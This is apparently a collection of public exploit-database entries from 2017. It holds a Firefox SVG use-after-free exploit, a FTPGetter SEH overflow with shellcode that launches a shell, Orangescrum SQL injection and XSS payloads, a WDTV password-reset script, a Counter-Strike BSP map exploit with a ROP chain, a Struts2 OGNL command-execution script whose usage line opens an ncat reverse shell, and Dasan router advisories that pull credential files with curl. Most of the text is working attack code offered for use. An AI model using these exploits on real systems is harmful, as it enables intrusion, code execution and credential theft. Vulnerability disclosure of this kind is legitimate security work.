/* -----> */
/* bug trigger ripped from bugzilla report */
var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};');
worker.postMessage("zero");
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x1000);
var heap100 = new Array(0x4000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var offset = 0x88 // Firefox 50.0.1

var exploit = function(){
    var u32 = new Uint32Array(block80)

    u32[0x4] = arrBase - offset;
    u32[0xa] = arrBase - offset;
    u32[0x10] = arrBase - offset;

    for(i = heap100.length/2; i < heap100.length; i++)
    {
      heap100[i] = block100.slice(0)
    }

    for(i = 0; i < heap80.length/2; i++)
    {
      heap80[i] = block80.slice(0)
    }

    animateX.setAttribute('begin', '59s')
    animateX.setAttribute('begin', '58s')

    for(i = heap80.length/2; i < heap80.length; i++)
    {
      heap80[i] = block80.slice(0)
    }

    for(i = heap100.length/2; i < heap100.length; i++)
    {
      heap100[i] = block100.slice(0)
    }

    animateX.setAttribute('begin', '10s')
    animateX.setAttribute('begin', '9s')
    containerA.pauseAnimations();
}

worker.onmessage = function(e) {arrBase=object_target_address; exploit()}
//worker.onmessage = function(e) {arrBase=0x30300000; exploit()}

var trigger = function(){
    containerA = document.createElementNS(svgns, 'svg')
    var containerB = document.createElementNS(svgns, 'svg');
    animateX = document.createElementNS(svgns, 'animate')
    var animateA = document.createElementNS(svgns, 'animate')
    var animateB = document.createElementNS(svgns, 'animate')
    var animateC = document.createElementNS(svgns, 'animate')
    var idA = "ia";
    var idC = "ic";
    animateA.setAttribute('id', idA);
    animateA.setAttribute('end', '50s');
    animateB.setAttribute('begin', '60s');
    animateB.setAttribute('end', idC + '.end');
    animateC.setAttribute('id', idC);
    animateC.setAttribute('end', idA + '.end');
    containerA.appendChild(animateX)
    containerA.appendChild(animateA)
    containerA.appendChild(animateB)
    containerB.appendChild(animateC)
    document.body.appendChild(containerA);
    document.body.appendChild(containerB);
}

window.onload = trigger;
setInterval("window.location.reload()", 3000)
/* <----- */

</script>
            
#!/usr/bin/python

# Exploit Title: FTPGetter 5.89.0.85 Remote SEH Buffer Overflow
# Date: 07/14/2017
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: https://www.ftpgetter.com/
# Vulnerable Version Download: Available for 30 days here: (https://ufile.io/2celn) I can upload again upon request
# Version: FTPGetter 5.89.0.85 (also works on earlier versions)
# Tested on: Windows 10 Pro 1703 x64
# Youtube Demonstration of Exploit: https://www.youtube.com/watch?v=AuAiQwGP-ww
# Category: Remote Code Execution
#
# Timeline: 05/25/16 Bug found
#           05/31/16 Vender notified - no response
#           07/15/16 Vender notified - no response
#           -------- Vender notified multiple times over a year, no response.
#           07/14/17 Exploit Published
#
# Summary:  There is a buffer overflow in the log viewer/parser of FTPGetter.  When a malicious ftp server returns a long
#           331 response, the overflow overwrites SEH produced is exploitable.  There are many bad characters, so I had to ascii encode everything.
#           My PoC runs code to launch a command shell.  Also note the time of day is displayed in the log viewer, which will
#           change the length of the buffer needed.  Just adjust your sled accordingly.  
 
from socket import *

#ascii encoded launch cmd.exe
buf =  ""
buf += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x4b\x4c\x6b\x58\x4f\x72\x67\x70\x43\x30\x55\x50\x33"
buf += "\x50\x4f\x79\x4a\x45\x44\x71\x4f\x30\x71\x74\x6c\x4b"
buf += "\x70\x50\x34\x70\x4e\x6b\x61\x42\x54\x4c\x4c\x4b\x42"
buf += "\x72\x47\x64\x4e\x6b\x64\x32\x44\x68\x36\x6f\x4c\x77"
buf += "\x42\x6a\x46\x46\x30\x31\x4b\x4f\x4c\x6c\x57\x4c\x31"
buf += "\x71\x63\x4c\x44\x42\x64\x6c\x35\x70\x7a\x61\x38\x4f"
buf += "\x56\x6d\x55\x51\x6f\x37\x38\x62\x4c\x32\x61\x42\x52"
buf += "\x77\x4c\x4b\x51\x42\x32\x30\x6e\x6b\x50\x4a\x77\x4c"
buf += "\x4e\x6b\x42\x6c\x34\x51\x44\x38\x68\x63\x32\x68\x66"
buf += "\x61\x58\x51\x62\x71\x6c\x4b\x76\x39\x35\x70\x35\x51"
buf += "\x49\x43\x4e\x6b\x37\x39\x67\x68\x68\x63\x55\x6a\x72"
buf += "\x69\x4c\x4b\x64\x74\x4e\x6b\x65\x51\x5a\x76\x35\x61"
buf += "\x69\x6f\x4c\x6c\x6b\x71\x78\x4f\x54\x4d\x57\x71\x39"
buf += "\x57\x46\x58\x79\x70\x51\x65\x4c\x36\x67\x73\x51\x6d"
buf += "\x38\x78\x67\x4b\x73\x4d\x64\x64\x32\x55\x39\x74\x56"
buf += "\x38\x4c\x4b\x62\x78\x54\x64\x37\x71\x79\x43\x75\x36"
buf += "\x4e\x6b\x46\x6c\x42\x6b\x4e\x6b\x56\x38\x47\x6c\x46"
buf += "\x61\x5a\x73\x6c\x4b\x45\x54\x4c\x4b\x33\x31\x48\x50"
buf += "\x4c\x49\x73\x74\x44\x64\x44\x64\x33\x6b\x53\x6b\x50"
buf += "\x61\x73\x69\x63\x6a\x62\x71\x59\x6f\x6b\x50\x53\x6f"
buf += "\x51\x4f\x32\x7a\x4e\x6b\x72\x32\x7a\x4b\x4e\x6d\x31"
buf += "\x4d\x52\x4a\x35\x51\x4c\x4d\x4c\x45\x38\x32\x67\x70"
buf += "\x63\x30\x53\x30\x66\x30\x75\x38\x36\x51\x6e\x6b\x52"
buf += "\x4f\x4f\x77\x39\x6f\x4b\x65\x4d\x6b\x6a\x50\x4f\x45"
buf += "\x4f\x52\x30\x56\x42\x48\x6e\x46\x6f\x65\x6f\x4d\x6d"
buf += "\x4d\x49\x6f\x7a\x75\x45\x6c\x73\x36\x51\x6c\x37\x7a"
buf += "\x4b\x30\x39\x6b\x39\x70\x30\x75\x76\x65\x6d\x6b\x72"
buf += "\x67\x32\x33\x52\x52\x62\x4f\x51\x7a\x75\x50\x76\x33"
buf += "\x79\x6f\x4b\x65\x55\x33\x62\x4d\x72\x44\x34\x6e\x53"
buf += "\x55\x43\x48\x61\x75\x57\x70\x41\x41"

#All the normal ways to jump back to code I control code were bad characters, so again had to ascii encode
jmpback =  ""
jmpback += "\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
jmpback += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
jmpback += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
jmpback += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
jmpback += "\x4e\x6d\x4d\x6e\x46\x70\x49\x6e\x6b\x4f\x4b\x4f\x49"
jmpback += "\x6f\x6a\x47\x41\x41"

host = "0.0.0.0"
port = 21

sled="NjoyUrShell!"
fill="\x41"*(480-len(buf))
nseh="\x74\x06\x90\x90"
seh="\xad\x11\x4d\x00"
prepesi="\x58\x58\x58\x8d\x70\x10\x90\x90"
jnk="B"*400
sploit=(sled+buf+fill+nseh+seh+prepesi+jmpback+jnk)
sock = socket(AF_INET, SOCK_STREAM)
sock.bind((host, 21))
sock.listen(1)


print "Anti-FtpGetter FTP Server Started!"
print "Ready to pwn on port %d..." % port
 
connect, hostip = sock.accept()
print "Connection accepted from %s" % hostip[0]
connect.send("220 Welcome to pwnServ, Serving sploit in 3..2..1..\r\n")
connect.recv(64)  # Receive USER
print "Sending EViL 331 response"
connect.send("331 "+sploit+"\r\n")
print "Here, have a handy dandy command shell!"
connect.close()
sock.close()
            
# Exploit Title: [Orangescrum 1.6.1 Multiple Vulnerabilities]
# Google Dork: [NA]
# Date: [July 9 2017]
# Exploit Author: [tomplixsee@yahoo.co.id]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [https://www.orangescrum.org/]
# Software Link: [https://www.orangescrum.org/free-download]
# Version: [1.6.1] 
# Tested on: [Ubuntu 16.04]
# CVE : [NA]

Orangescrum is one of task management software written in PHP. 

Its version 1.6.1 have multiple vulnerabilities. To exploit all of them, you have to log in first.

1. Arbitrary File Upload
Create or reply task. Then upload a file. The file will be uploaded into directory app/webroot/files/case_files, without any validation.
It then can be accessed from url http://yourorangescrum/app/webroot/files/case_files/thefile

2. SQL Injection (time based)
Send a POST request to http://yourorangescrum/easycases/ajax_change_AssignTo  , with POST variables caseId and assignId.
For example in python:
url = "http://yourorangescrum/easycases/ajax_change_AssignTo"
data = {"caseId":"1' AND SLEEP(5) AND 1='1","assignId":"1"}
headers = {
		'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Cookie': yourcookie
}

3. XSS (stored)
Reply a task (choose html editor). Put your XSS code there. example <img src="nonexistimage" onerror="alert(document.cookie)">

4. Arbitrary File Copy
Look at an image profile url, it is something like this http://localhost/orangescrum/users/image_thumb/?type=photos&file=a6ebd6bd62ba537f37b7b8ac40aa626d.png&sizex=94&sizey=94&quality=100
To copy add variable dest, so it will be like this http://localhost/orangescrum/users/image_thumb/?type=photos&file=a6ebd6bd62ba537f37b7b8ac40aa626d.png&sizex=94&sizey=94&quality=100&dest=hacked.php
It will copy file a6ebd6bd62ba537f37b7b8ac40aa626d.png into hacked.php that will be stored in users/image_thumb/hacked.php
Conditions : 
- variable sizex and sizey must be the real width and height of file a6ebd6bd62ba537f37b7b8ac40aa626d.png (in this example)
            
#######################################################
## WDTV Live SMP Remote Password Reset Vulnerability ##
#######################################################

Date: Jul 14 2017
Author: sw1tch
Demo: https://www.sw1tch.net/2017/07/12/wdtv-live-smb-exploit/
Description: A simple remotely exploitable web application vulnerability
for the WDTV Live Streaming Media Player and possibly other WDTV systems.

-INTRO-

The WDTV Live SMP is a is a consumer device produced by Western Digital
that plays videos, images, and music from USB drives. It can play
high-definition video through an HDMI port, and standard video through
composite video cables. It can play most common video and audio formats. As
of August 2016, the WDTV appears to be discontinued.

The latest firmware version appears to be 2.03.20.

-VULNERABILITY-

The WDTV Live SMP runs an embedded webserver, allowing authenticated users
to upload themes, manage device settings, access a virtual remote and other
tasks. To authenticate, a user needs to provide the correct password (no
username).

An unauthenticated attacker can update the password via a constructed GET
request, subsequently taking control of many functions of the device.

Vulnerable versions include at least firmware 2.03.20, and likely many more
older versions.

-POC-

#!/bin/bash

echo
echo "WDTV Live SMP Admin Password Reset Exploit"
echo "Apparently sw1tch found this guff in 2017"
echo
if [ $# != 2 ]; then
  echo "Usage: `basename $0` <target IP/host> <new password>"
echo
  exit $ERR_ARG
fi

# Vars...
target=$1
password=$2

echo -n "[*] Slamming your chosen password at $target now..."
curl "http://$target/DB/modfiy_pw.php" -d "password=$password"
echo "done!"
echo "[*] Try logging in to http://$target/ using $password"
echo
exit 0

-FIX-

None available. Device appears to be EOL so unlikely to be remediated.

--------------------------------------------------------------------------------------------------------------------------------
            
#!/usr/bin/env python
# Counter Strike: Condition Zero BSP map exploit
#  By @Digital_Cold Jun 11, 2017
#
# E-DB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42325.zip (bsp-exploit-source.zip)
# 
from binascii import hexlify, unhexlify
from struct import pack, unpack
import math
import mmap
import logging

fmt = "[+] %(message)s"

logging.basicConfig(level=logging.INFO, format=fmt)
l = logging.getLogger("exploit")

# Specific to the file
INDEX_BUFFER_OFF = 0x92ee0          # ARRAY[int]
VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short]
VERTEX_DATA_OFF = 0x37f7c           # ARRAY[VEC3], VEC3[float, float, float]
NUM_EDGES_OFF = 0x70f94             # The length that was fuzzed to cause the crash

# No longer used as could not find a gadget to 'pop, pop, pop esp, ret'
# SEH_OVERWRITE_OFF = 0x4126C

# Initial offset into the index buffer where the function to exploit resides
INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already

# INDEX_BUFFER
# 0: 20
# 1: 10
# 2: 2 --> Vertex Buffer Indexes

# VERTEX BUFFER INDEXES
# 0: 1
# 1: 2
# 2: 4 --> Vertex Data

# VERTEX DATA
# 0: 1.23, 23423.0, 3453.3
# 1: 1.23, -9.0, 3453.3
# 2: 1.0, 1.0, 1.0
# 3: 1.0, 1.0, 1.0
# 4: 0.0, 1.0, 0.0

# Example:
# a = INDEX_BUFFER[2] ; a = 2
# b = VERTEX_BUFFER[a] ; b = 4
# vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0

def dw(x):
  return pack("I", x)

def main():
  target_file = "eip-minimized.bsp"
  output_file = "exploit-gen.bsp"

  print "GoldSource .BSP file corruptor"
  print "  by @Digital_Cold"
  print

  l.info("Corrupting target file %s" % target_file)

  # Read in and memory map target file
  fp = open(target_file, 'rb')
  mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY)
  fp.close()

  VEC3_COUNT = 63
  # then come Saved EBP and return address

  start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET
  second_idx = VERTEX_BUFFER_INDEXES_OFF
  vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults

  l.info("Writing to index buffer offset %08x...", start_idx)
  l.info("Vertex buffer indexes start %08x", second_idx)
  l.info("Vertex data at %08x", vertex_data_start)

  data_buffer = []

  for i in range(VEC3_COUNT):
    for j in range(3):
      data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory

  data_buffer.append("\x00\x00\x00\x00") # dont care
  data_buffer.append("\x00\x00\x00\x00") # unk1
  data_buffer.append("\x00\x00\x00\x00") # unk2

  data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call)
  data_buffer.append("\x00\x00\x00\x00") # EBP
  data_buffer.append(dw(0x01407316))     # Saved Ret --> POP EBP; RET [hl.exe]

  # XXX: bug in mona. This is a ptr to VirtualProtectEx!!
  #   0x387e01ec,  # ptr to &VirtualProtect() [IAT steamclient.dll]

  """
   Register setup for VirtualAlloc() :
   --------------------------------------------
    EAX = NOP (0x90909090)
    ECX = flProtect (0x40)
    EDX = flAllocationType (0x1000)
    EBX = dwSize
    ESP = lpAddress (automatic)
    EBP = ReturnTo (ptr to jmp esp)
    ESI = ptr to VirtualAlloc()
    EDI = ROP NOP (RETN)
    --- alternative chain ---
    EAX = ptr to &VirtualAlloc()
    ECX = flProtect (0x40)
    EDX = flAllocationType (0x1000)
    EBX = dwSize
    ESP = lpAddress (automatic)
    EBP = POP (skip 4 bytes)
    ESI = ptr to JMP [EAX]
    EDI = ROP NOP (RETN)
    + place ptr to "jmp esp" on stack, below PUSHAD
   --------------------------------------------
  """

  # START ROP CHAIN
  # DEP disable ROP chain
  # rop chain generated with mona.py - www.corelan.be
  #
  # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio
  rop_gadgets = [
    #0x3808A308,  # INT3 # RETN [steamclient.dll]
    0x38420ade,  # POP EDX # RETN [steamclient.dll]
    0x387e01e8,  # ptr to &VirtualAlloc() [IAT steamclient.dll]
    0x381236c5,  # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll]
    0x381ebdc1,  # POP EBP # RETN [steamclient.dll]
    0x381f98cd,  # & jmp esp [steamclient.dll]
    0x387885ac,  # POP EBX # RETN [steamclient.dll]
    0x00000001,  # 0x00000001-> ebx
    0x384251c9,  # POP EDX # RETN [steamclient.dll]
    0x00001000,  # 0x00001000-> edx
    0x387cd449,  # POP ECX # RETN [steamclient.dll]
    0x00000040,  # 0x00000040-> ecx
    0x386c57fe,  # POP EDI # RETN [steamclient.dll]
    0x385ca688,  # RETN (ROP NOP) [steamclient.dll]
    0x0140b00e,  # POP EAX # RETN [hl.exe]
    0x90909090,  # nop
    0x385c0d3e,  # PUSHAD # RETN [steamclient.dll]
  ]


  # Can be replaced with ANY shellcode desired...
  # http://shell-storm.org/shellcode/files/shellcode-662.php
  shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \
    "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \
    "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \
    "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \
    "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \
    "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \
    "\x24\x20\x57\xFF\xD0"

  shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash)
  shellcode += "\xeb\xfe"
  shellcode += "\xeb\xfe"
  shellcode += "\xeb\xfe"
  shellcode += "\xeb\xfe"

  shellcode_dwords = int(math.ceil(len(shellcode)/4.0))
  extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0))

  # Loop count (needs to be the exact amount of ROP we want to write
  data_buffer.append(dw(extra_dwords))

  for addr in rop_gadgets:
    data_buffer.append(dw(addr))

  for b in range(shellcode_dwords):
    data = ""

    for byte in range(4):
      idx = byte + b*4

      # pad to nearest DWORD with INT3
      if idx >= len(shellcode):
        data += "\xcc"
      else:
        data += shellcode[idx]

    data_buffer.append(data)

  second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes

  # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before
  # we can exploit the function

  # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW
  #mmfile[NUM_EDGES_OFF] = pack("B", 0x41)

  for i in range(int(math.ceil(len(data_buffer)/3.0))):
    mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i)
    mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i)

    second_idx += 2 # required because the game loads every-other word

    # This data will now be on the stack
    for j in range(3):
      sub_idx = j*4 + i*0xc
      data_idx = i*3 + j
      towrite = ""

      if data_idx >= len(data_buffer):
        towrite = "\x00"*4
      else:
        towrite = data_buffer[i*3 + j]

      mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite
      #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx))

  # write out the corrupted file
  outfile = open(output_file, "wb")
  outfile.write(mmfile)
  outfile.close()

  l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file))
  l.info("Copy to game maps/ directory!")

if __name__ == "__main__":
  main()
            
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Just a demo for CVE-2017-9791


import requests


def exploit(url, cmd):
    print("[+] command: %s" % cmd)

    payload = "%{"
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
    payload += "}"

    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }

    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
    }
    requests.post(url, data=data, headers=headers)


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)

    print('[*] exploit Apache Struts2 S2-048')
    url = sys.argv[1]
    cmd = sys.argv[2]

    exploit(url, cmd)

    # $ ncat -v -l -p 4444 &
    # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"
            
Dasan Networks GPON ONT WiFi Router H64X Series System Config Download


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Models: H640GR-02
                          H640GV-03
                          H640GW-02
                          H640RW-02
                          H645G
                Firmware: 3.02p2-1141
                          2.77p1-1125
                          2.77-1115
                          2.76-9999
                          2.76-1101
                          2.67-1070
                          2.45-1045

Versions 3.03x are not affected by this issue. 
The running.CFG/wifi.CFG backup files are now 7z password protected.


Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The system backup configuration file 'running.CFG' and the wireless
backup configuration file 'wifi.CFG' can be downloaded by an attacker
from the root directory in certain circumstances. This will enable the
attacker to disclose sensitive information and help her in authentication
bypass, privilege escalation and/or full system access.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5424
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5424.php


19.05.2017

--


-------------------
#1 This PoC request is assuming that the admin or a user created a backup. This is done by first issuing a request
to: /cgi-bin/backuprecoversystembackup_action.cgi or /cgi-bin/backuprecoverwifibackup_action.cgi scripts that
instructs the web server to generate the running.CFG or wifi.CFG gziped files respectively.


curl http://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'admin:'
######################################################################## 100.0%
(standard input):180:admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh
(standard input):1442:admin:admin123:2

bash-4.4$ curl http://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'root:'
######################################################################## 100.0%
(standard input):181:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh
(standard input):191:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:14987:0:99999:7:::
bash-4.4$ 

Notice the same hard-coded shell credentials for admin and root user.
Left for the viewer to exercise 'cracking the perimeter'. ;]

-------------------
#2 This PoC request will do an authentication bypass using the Grant cookie to create the running.CFG file.
In this request we're using Grant=1 with the account 'user' which by default has the password: user. After that,
decompressing the file, navigating to 'etc' extracted directory and reading 'web_user' file which can then
escalate privileges by reading the admin password and loggin-in.


bash-4.4$ curl http://192.168.0.1/cgi-bin/backuprecoversystembackup_action.cgi --cookie "silverheader=0c; Grant=1; Language=english" -H "X-Requested-With: XMLHttpRequest" ; sleep 5
bash-4.4$ curl http://192.168.0.1/running.CFG -vv --cookie "silverheader=0c; Grant=1; Language=english" -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 192.168.0.1...
* TCP_NODELAY set
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)
> GET /running.CFG HTTP/1.1
> Host: 192.168.0.1
> User-Agent: curl/7.51.0
> Accept: */*
> Cookie: silverheader=0c; Grant=1; Language=english
> 
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< ETag: "2477069903"
< Last-Modified: Wed, 12 Jul 2017 19:14:18 GMT
< Content-Length: 10467
< Date: Thu, 13 Jul 2017 00:56:14 GMT
< Server: lighttpd/1.4.31
< 
{ [1208 bytes data]
 53 10467   53  5528    0     0   5974      0  0:00:01 --:--:--  0:00:01  5969* Curl_http_done: called premature == 0
100 10467  100 10467    0     0  11290      0 --:--:-- --:--:-- --:--:-- 11279
* Connection #0 to host 192.168.0.1 left intact
bash-4.4$ file running.CFG
running.CFG: gzip compressed data, last modified: Wed Jul 12 19:12:36 2017, max compression, from Unix
bash-4.4$ gunzip -v -d --suffix .CFG running.CFG ; tar -xf running ; cd etc ; cat web_user                  
running.CFG:     85.6% -- replaced with running
admin:admin123:2
user:user:1
bash-4.4$ 

Or just:

bash-4.4$ curl -O http://180.148.2.139/running.CFG
bash-4.4$ tar -zxf running.CFG
bash-4.4$ cd etc
bash-4.4$ ls
INPUT_FILTER.conf                    fire_wall.conf                       lan_static_ip.conf                   ntp.conf                             radvd_param.conf                     upnpigd.conf
INPUT_REMOTE_ACCESS.conf             fire_wall.sh                         lighttpd.conf                        other_security_status.sh             remote_mgmt.conf                     user_ipv6tables.conf
dasan_output.txt                     hostname                             localtime                            passwd                               routing_entry.conf                   user_wan_cfg.conf
dhcp_client_dns.sh                   inet_check_file                      mac_filter.conf                      port_forward.conf                    shadow                               wan_ppp_mode.conf
dhcp_client_dynamic_default_dns.conf ipupdate.conf                        mac_source_match.conf                port_forward.sh                      snmp                                 web-enable
dhcpv6d.conf                         ipv6_route.conf                      multi_language.conf                  port_forward_dnat.sh                 snmp_status.conf                     web_user
dhcpv6d_param.conf                   is_safe_nat_option                   nat_route.conf                       port_forward_gre.sh                  sys_login_max_num                    webrefreshtime.conf
dmz.conf                             lan_dhcp_model.sh                    net_rest.conf                        ppp                                  syslog.confx                         websesstime.conf
ds_mode_config                       lan_dhcp_server_static_ip.conf       ns_ftp.conf                          radvd.conf                           udhcpd.conf
bash-4.4$ cat web_user
admin:admin123:2
user:user:1
bash-4.4$ cat ./.config/ds_user_pw
admin
bash-4.4$ cat passwd
admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh
root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh
            
Dasan Networks GPON ONT WiFi Router H64X Series Privilege Escalation


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
                         H640GV-03
                         H640GW-02
                         H640RW-02
                         H645G
               Firmware: 2.77-1115
                         2.76-9999
                         2.76-1101
                         2.67-1070
                         2.45-1045

Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The application suffers from a privilege escalation vulnerability.
A normal user can elevate his/her privileges by changing the Cookie 'Grant'
from 1 (user) to 2 (admin) gaining administrative privileges and revealing
additional functionalities or additional advanced menu settings.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5423
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5423.php


19.05.2017

--


Change cookie Grant=1 (user) to Grant=2 (admin):
------------------------------------------------

GET /cgi-bin/index.cgi HTTP/1.1
Host: 192.168.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Bond-James-Bond/007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: Grant=2; Language=macedonian; silverheader=3c
Connection: close
            
Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
                         H640GV-03
                         H640GW-02
                         H640RW-02
                         H645G
               Firmware: 3.03p1-1145
                         3.03-1144-01
                         3.02p2-1141
                         2.77p1-1125
                         2.77-1115
                         2.76-9999
                         2.76-1101
                         2.67-1070
                         2.45-1045

Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
